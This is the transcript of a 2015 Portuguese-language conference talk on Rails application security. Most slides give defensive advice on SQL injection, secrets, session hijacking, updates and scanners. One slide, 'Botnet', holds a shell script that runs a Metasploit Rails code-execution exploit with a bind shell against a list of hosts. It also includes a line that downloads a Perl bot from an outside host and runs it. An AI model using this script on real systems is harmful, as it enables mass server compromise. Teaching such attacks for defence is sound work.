Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Segurança on Rails

Segurança on Rails

Nessa talk veremos os vetores de ataque mais utilizados para hackear aplicações Rails e o que pode ser feito para eveitar isso. Ao final, um exemplo prático de como é possível construir uma botnet explorando apps desatualizadas.

Daniel Romero

June 22, 2015
Tweet

More Decks by Daniel Romero

Other Decks in Technology

Transcript

  1. View Slide

  2. infoslack.com - @infoslack - github.com/infoslack

    View Slide

  3. initsec.com

    View Slide

  4. infoslack.com/livro

    View Slide

  5. $ rails new project

    View Slide

  6. View Slide

  7. View Slide

  8. Minha aplicação está segura ?

    View Slide

  9. OWASP.org

    View Slide

  10. View Slide

  11. SQL Injection
    Quem nunca ?
    User.where( “role = #{params[:role]}” )
    Nunca interpole!

    View Slide

  12. #FAIL
    email = “ ‘ OR 1) --”
    User.where(“ email = ‘#{email}’ ”).first
    #=> #
    #OK
    User.where(email: params[:email])
    Para ver mais: http://rails-sqli.org/

    View Slide

  13. Configs

    não salve configs no repositório;

    use variáveis de ambiente;

    inserir arquivo de config apenas na hora do deploy;

    SECRET TOKEN / config/secrets.yml

    View Slide

  14. View Slide

  15. Session Hijacking

    cookies para identificação de users;

    hacker pode roubar o cookie de um user

    SSL em todo processo de autenticação;

    config.force_ssl = true

    user inativo?

    expire a sessão!
    Mantenha tudo atualizado sempre!

    View Slide

  16. View Slide

  17. Mesmo utilizando SSL tome cuidado!

    View Slide

  18. View Slide

  19. View Slide

  20. Ainda tem muito mais!

    Updates!

    Updates no server (kernel);

    Updates nos softwares do server;

    Updates no framework;

    Updates nas dependências do projeto;

    Updates everywhere!

    View Slide

  21. Como posso verificar?

    Testando a segurança do meu código #análise estática

    http://brakemanscanner.org/

    https://codeclimate.com/

    Verificando atualizações:

    http://www.rubysec.com/

    https://github.com/rubysec/ruby-advisory-db

    https://github.com/rubysec/bundler-audit

    https://hakiri.io/

    View Slide

  22. hakiri.io/facets

    View Slide

  23. View Slide

  24. Como posso testar ?

    View Slide

  25. View Slide

  26. Show me!

    View Slide

  27. Botnet
    #!/bin/sh
    TARGETS="ip-list.txt"
    CLI="metasploit-framework/msfcli"
    for host in $(cat $TARGETS)
    do
    tmux new-window -n $host $CLI'\
    multi/http/rails_xml_yaml_code_exec rhost='$host'\
    payload=ruby/shell_bind_tcp E'
    done
    #wget -O - http://labs.infoslack.com/bot.pl > /tmp/bot.pl && perl /tmp/bot.pl

    View Slide

  28. O que mais posso fazer ?

    http://www.ubuntu.com/usn/

    https://www.ruby-lang.org/en/security/

    http://nginx.org/en/security_advisories.html

    http://guides.rubyonrails.org/security.html

    View Slide

  29. View Slide